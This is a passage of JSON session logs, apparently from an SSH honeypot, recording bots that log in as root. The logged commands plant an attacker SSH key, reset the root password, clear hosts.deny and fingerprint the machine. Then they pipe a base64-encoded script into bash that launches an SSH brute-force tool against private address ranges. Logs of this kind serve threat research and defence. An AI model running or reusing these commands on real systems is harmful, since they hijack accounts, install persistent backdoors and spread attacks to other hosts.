$7}'"},{"seq":10,"at":"2026-08-21T17:00:03.766598+00:00","kind":"output","latency_ms":765,"data":"Mem: 15888 1047 12180 132 2660 0"},{"seq":11,"at":"2026-08-21T17:00:04.038223+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-21T17:00:04.790787+00:00","kind":"output","latency_ms":751,"data":"-rwxr-xr-x 1 root root 151K Aug 20 03:09 /usr/bin/ls"},{"seq":13,"at":"2026-08-21T17:00:04.799625+00:00","kind":"output","latency_ms":2610,"data":""},{"seq":14,"at":"2026-08-21T17:00:05.062956+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-21T17:00:05.063491+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-21T17:00:05.333448+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-21T17:00:05.334408+00:00","kind":"output","latency_ms":null,"data":" 17:00:05 up 1 day, 13:50, 0 user, load average: 0.04, 0.04, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-21T17:00:05.604159+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-21T17:00:05.604636+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-21T17:00:05.875676+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-21T17:00:05.876203+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-21T17:00:06.147780+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-21T17:00:06.148484+00:00","kind":"output","latency_ms":null,"data":"top - 17:00:06 up 1 day, 13:50, 0 user, load average: 0.04, 0.04, 0.04\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-21T17:00:06.419181+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-21T17:00:06.419577+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-21T17:00:06.691455+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-21T17:00:06.691775+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-21T17:00:06.962457+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-21T17:00:06.962767+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-21T17:00:07.234359+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-21T17:00:08.095515+00:00","kind":"output","latency_ms":860,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-21T17:00:08.366193+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-21T17:00:09.203781+00:00","kind":"output","latency_ms":837,"data":"24G"},{"seq":34,"at":"2026-08-21T17:00:10.202326+00:00","kind":"input","latency_ms":null,"data":"echo \"root 1234rfv\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-21T17:00:10.472040+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-21T17:00:11.145565+00:00","kind":"output","latency_ms":672,"data":""},{"seq":37,"at":"2026-08-21T17:00:11.396249+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-21T17:00:12.138370+00:00","kind":"output","latency_ms":741,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-21T17:00:12.409348+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-21T17:00:13.138500+00:00","kind":"output","latency_ms":728,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-21T17:00:13.408770+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-21T17:00:13.678888+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-21T17:00:14.489948+00:00","kind":"output","latency_ms":810,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-21T17:00:14.763544+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-21T17:00:15.464728+00:00","kind":"output","latency_ms":700,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-21T17:00:15.737745+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-21T17:00:16.355202+00:00","kind":"output","latency_ms":617,"data":""},{"seq":48,"at":"2026-08-21T17:00:24.230213+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-21T17:00:24.232246+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"1234rfv","method":"password","accepted":true,"tier":"other"}]} {"id":"dde2d4ff-0ca4-483b-9053-7458166c5e99","name":"lonesome-hazy-dormouse","protocol":"ssh","channel_kind":"exec","src_ip":"45.194.3.128","src_port":46786,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":696,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-21T00:21:03.057453+00:00","ended_at":"2026-08-21T00:21:03.277755+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3479,"events":[{"seq":1,"at":"2026-08-21T00:20:20.051133+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-21T00:20:20.735187+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-21T00:20:27.736189+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-21T00:20:27.737047+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-21T00:20:28.433454+00:00","kind":"input","latency_ms":null,"data":"echo \"root:luaHYBRExwsi\"|chpasswd|bash"},{"seq":6,"at":"2026-08-21T00:20:29.129203+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-21T00:20:29.299723+00:00","kind":"output","latency_ms":864,"data":""},{"seq":8,"at":"2026-08-21T00:20:29.825330+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-21T00:20:29.826241+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-21T00:20:30.524103+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-21T00:20:31.403640+00:00","kind":"output","latency_ms":880,"data":"15888 3124 12764 0 0 0"},{"seq":12,"at":"2026-08-21T00:20:32.101136+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-21T00:20:33.351399+00:00","kind":"output","latency_ms":1246,"data":"-rwxr-xr-x 1 root root 147K Apr 24 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-21T00:20:34.047297+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-21T00:20:34.047959+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-21T00:20:34.744763+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-21T00:20:34.745324+00:00","kind":"output","latency_ms":null,"data":" 00:20:34 up 21:10, 0 user, load average: 0.05, 0.06, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-21T00:20:35.442147+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-21T00:20:35.445226+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-21T00:20:36.142995+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-21T00:20:36.145104+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-21T00:20:36.839262+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-21T00:20:36.840160+00:00","kind":"output","latency_ms":null,"data":"top - 00:20:36 up 21:10, 0 user, load average: 0.05, 0.06, 0.03\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-21T00:20:37.537248+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-21T00:20:37.537735+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-21T00:20:38.234393+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-21T00:20:38.235083+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-21T00:20:38.931583+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-21T00:20:38.932163+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-21T00:20:39.629808+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-21T00:20:40.480467+00:00","kind":"output","latency_ms":849,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":32,"at":"2026-08-21T00:20:41.177789+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-21T00:20:41.796203+00:00","kind":"output","latency_ms":617,"data":"24G"},{"seq":34,"at":"2026-08-21T00:20:44.048893+00:00","kind":"input","latency_ms":null,"data":"echo \"root abcd-1234\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-21T00:20:44.743138+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-21T00:20:45.498396+00:00","kind":"output","latency_ms":753,"data":""},{"seq":37,"at":"2026-08-21T00:20:47.239931+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-21T00:20:48.227166+00:00","kind":"output","latency_ms":986,"data":"cached: horsefeed=12 stalls=48 boarding=19 vet=3\n"},{"seq":39,"at":"2026-08-21T00:20:48.923902+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-21T00:20:49.558693+00:00","kind":"output","latency_ms":633,"data":"cached: horsefeed=12 stalls=48 boarding=19 vet=3"},{"seq":41,"at":"2026-08-21T00:20:50.254481+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-21T00:20:50.950504+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-21T00:20:52.048453+00:00","kind":"output","latency_ms":1097,"data":"cached: horsefeed=12 stalls=48 boarding=19 vet=3"},{"seq":44,"at":"2026-08-21T00:20:52.744016+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-21T00:20:53.613654+00:00","kind":"output","latency_ms":868,"data":"cached: horsefeed=12 stalls=48 boarding=19 vet=3"},{"seq":46,"at":"2026-08-21T00:20:54.311577+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-21T00:21:03.058328+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-21T00:21:03.058785+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"abcd-1234","method":"password","accepted":true,"tier":"other"}]} {"id":"0ece996b-99fe-4c34-ac39-27e5de43953c","name":"dutiful-noble-osprey","protocol":"ssh","channel_kind":"exec","src_ip":"36.134.96.76","src_port":25405,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":775,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T22:57:43.606219+00:00","ended_at":"2026-08-20T23:01:43.864121+00:00","ended_reason":"exec complete","commands":16,"transcript_bytes":2055,"events":[{"seq":1,"at":"2026-08-20T22:57:21.330957+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T22:57:22.094220+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T22:57:30.443141+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T22:57:30.443956+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-20T22:57:31.217114+00:00","kind":"input","latency_ms":null,"data":"echo \"root:c6xqYOA2GaKm\"|chpasswd|bash"},{"seq":6,"at":"2026-08-20T22:57:31.991105+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-20T22:57:32.686063+00:00","kind":"output","latency_ms":1467,"data":""},{"seq":8,"at":"2026-08-20T22:57:32.764173+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-20T22:57:32.764622+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-20T22:57:33.538055+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-20T22:57:35.639009+00:00","kind":"output","latency_ms":2099,"data":"15888 0 15888 0 0 0"},{"seq":12,"at":"2026-08-20T22:57:36.415191+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-20T22:57:37.394949+00:00","kind":"output","latency_ms":977,"data":"-rwxr-xr-x 1 root root 142K Jan 11 2025 /usr/bin/ls"},{"seq":14,"at":"2026-08-20T22:57:38.169403+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T22:57:38.170154+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-20T22:57:38.945732+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-20T22:57:38.946426+00:00","kind":"output","latency_ms":null,"data":" 22:57:38 up 19:47, 0 user, load average: 0.23, 0.26, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-20T22:57:39.722425+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-20T22:57:39.725262+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-20T22:57:40.501356+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-20T22:57:40.502098+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-20T22:57:41.276908+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-20T22:57:41.277846+00:00","kind":"output","latency_ms":null,"data":"top - 22:57:41 up 19:47, 0 user, load average: 0.23, 0.26, 0.19\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-20T22:57:42.055150+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-20T22:57:42.056140+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-20T22:57:42.830530+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-20T22:57:42.839581+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-20T22:57:43.606846+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-20T22:57:43.607694+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"15","method":"password","accepted":true,"tier":"other"}]} {"id":"dd3dc568-17c5-4e13-afe3-5fce7789988b","name":"weathered-shifting-springbok","protocol":"ssh","channel_kind":"exec","src_ip":"183.91.186.36","src_port":45114,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":901,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T20:24:34.329664+00:00","ended_at":"2026-08-20T20:24:34.630091+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3988,"events":[{"seq":1,"at":"2026-08-20T20:23:38.256970+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T20:23:39.160053+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T20:23:47.130138+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T20:23:47.130878+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-20T20:23:48.032722+00:00","kind":"input","latency_ms":null,"data":"echo \"root:QRVgmpYi92o4\"|chpasswd|bash"},{"seq":6,"at":"2026-08-20T20:23:48.756171+00:00","kind":"output","latency_ms":724,"data":""},{"seq":7,"at":"2026-08-20T20:23:48.930486+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-20T20:23:49.838527+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-20T20:23:49.838941+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-20T20:23:50.756122+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-20T20:23:51.834750+00:00","kind":"output","latency_ms":1078,"data":"15888 5342 532 56 9960 9118"},{"seq":12,"at":"2026-08-20T20:23:52.732184+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-20T20:23:53.500174+00:00","kind":"output","latency_ms":767,"data":"-rwxr-xr-x 1 root root 149K Aug 20 03:09 /usr/bin/ls"},{"seq":14,"at":"2026-08-20T20:23:54.430375+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T20:23:54.430884+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-20T20:23:55.330473+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-20T20:23:55.331011+00:00","kind":"output","latency_ms":null,"data":" 20:23:55 up 17:14, 0 user, load average: 0.18, 0.24, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-20T20:23:56.230827+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-20T20:23:56.234373+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-20T20:23:57.131500+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-20T20:23:57.132264+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-20T20:23:58.033060+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-20T20:23:58.033779+00:00","kind":"output","latency_ms":null,"data":"top - 20:23:58 up 17:14, 0 user, load average: 0.18, 0.24, 0.18\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 